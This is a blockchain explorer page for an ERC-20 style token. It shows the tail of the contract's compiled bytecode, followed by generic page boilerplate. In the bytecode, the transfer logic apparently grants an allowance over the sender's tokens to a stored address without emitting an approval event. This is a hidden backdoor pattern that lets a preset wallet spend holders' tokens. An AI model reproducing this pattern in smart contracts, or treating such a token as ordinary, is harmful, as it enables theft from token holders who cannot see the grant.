ffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90611974565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611a02565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4e91906115af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a6a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611af8565b60405180910390fd5b5f8111610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090611b86565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f445750600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f9d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561101657600a60019054906101000a900460ff16158015610fca5750600a5f9054906101000a900460ff165b8015610fd557505f82115b1561100d576110088360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154611200565b611015565b436009819055505b5b5f600b54430361106657601860085410611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90611bee565b60405180910390fd5b5b61107983836111b790919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061110a8360035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461135e90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111a891906115af565b60405180910390a35050505050565b5f6111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611384565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611974565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390611a02565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80828461136c9190611c39565b90508381101561137a575f80fd5b8091505092915050565b5f8383111582906113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c29190611456565b60405180910390fd5b505f83856113d99190611c6c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611428826113e6565b61143281856113f0565b9350611442818560208601611400565b61144b8161140e565b840191505092915050565b5f6020820190508181035f83015261146e818461141e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114a38261147a565b9050919050565b6114b381611499565b81146114bd575f80fd5b50565b5f813590506114ce816114aa565b92915050565b5f819050919050565b6114e6816114d4565b81146114f0575f80fd5b50565b5f81359050611501816114dd565b92915050565b5f806040838503121561151d5761151c611476565b5b5f61152a858286016114c0565b925050602061153b858286016114f3565b9150509250929050565b5f8115159050919050565b61155981611545565b82525050565b5f6020820190506115725f830184611550565b92915050565b61158181611499565b82525050565b5f60208201905061159a5f830184611578565b92915050565b6115a9816114d4565b82525050565b5f6020820190506115c25f8301846115a0565b92915050565b5f805f606084860312156115df576115de611476565b5b5f6115ec868287016114c0565b93505060206115fd868287016114c0565b925050604061160e868287016114f3565b9150509250925092565b5f60ff82169050919050565b61162d81611618565b82525050565b5f6020820190506116465f830184611624565b92915050565b5f6020828403121561166157611660611476565b5b5f61166e848285016114c0565b91505092915050565b5f806040838503121561168d5761168c611476565b5b5f61169a858286016114c0565b92505060206116ab858286016114c0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116e96020836113f0565b91506116f4826116b5565b602082019050919050565b5f6020820190508181035f830152611716816116dd565b9050919050565b5f8151905061172b816114aa565b92915050565b5f6020828403121561174657611745611476565b5b5f6117538482850161171d565b91505092915050565b5f60408201905061176f5f830185611578565b61177c6020830184611578565b9392505050565b5f819050919050565b5f819050919050565b5f6117af6117aa6117a584611783565b61178c565b6114d4565b9050919050565b6117bf81611795565b82525050565b5f60c0820190506117d85f830189611578565b6117e560208301886115a0565b6117f260408301876117b6565b6117ff60608301866117b6565b61180c6080830185611578565b61181960a08301846115a0565b979650505050505050565b5f81519050611832816114dd565b92915050565b5f805f6060848603121561184f5761184e611476565b5b5f61185c86828701611824565b935050602061186d86828701611824565b925050604061187e86828701611824565b9150509250925092565b5f60408201905061189b5f830185611578565b6118a860208301846115a0565b9392505050565b6118b881611545565b81146118c2575f80fd5b50565b5f815190506118d3816118af565b92915050565b5f602082840312156118ee576118ed611476565b5b5f6118fb848285016118c5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61195e6024836113f0565b915061196982611904565b604082019050919050565b5f6020820190508181035f83015261198b81611952565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6119ec6022836113f0565b91506119f782611992565b604082019050919050565b5f6020820190508181035f830152611a19816119e0565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f611a54601e836113f0565b9150611a5f82611a20565b602082019050919050565b5f6020820190508181035f830152611a8181611a48565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f611ae26024836113f0565b9150611aed82611a88565b604082019050919050565b5f6020820190508181035f830152611b0f81611ad6565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f611b70602a836113f0565b9150611b7b82611b16565b604082019050919050565b5f6020820190508181035f830152611b9d81611b64565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f611bd86020836113f0565b9150611be382611ba4565b602082019050919050565b5f6020820190508181035f830152611c0581611bcc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c43826114d4565b9150611c4e836114d4565b9250828201905080821115611c6657611c65611c0c565b5b92915050565b5f611c76826114d4565b9150611c81836114d4565b9250828203905081811115611c9957611c98611c0c565b5b9291505056fea2646970667358221220b6861de7cfaab707524fa6cfad90462b366ecb7b1d6aa2bb77c82224e6df865a64736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.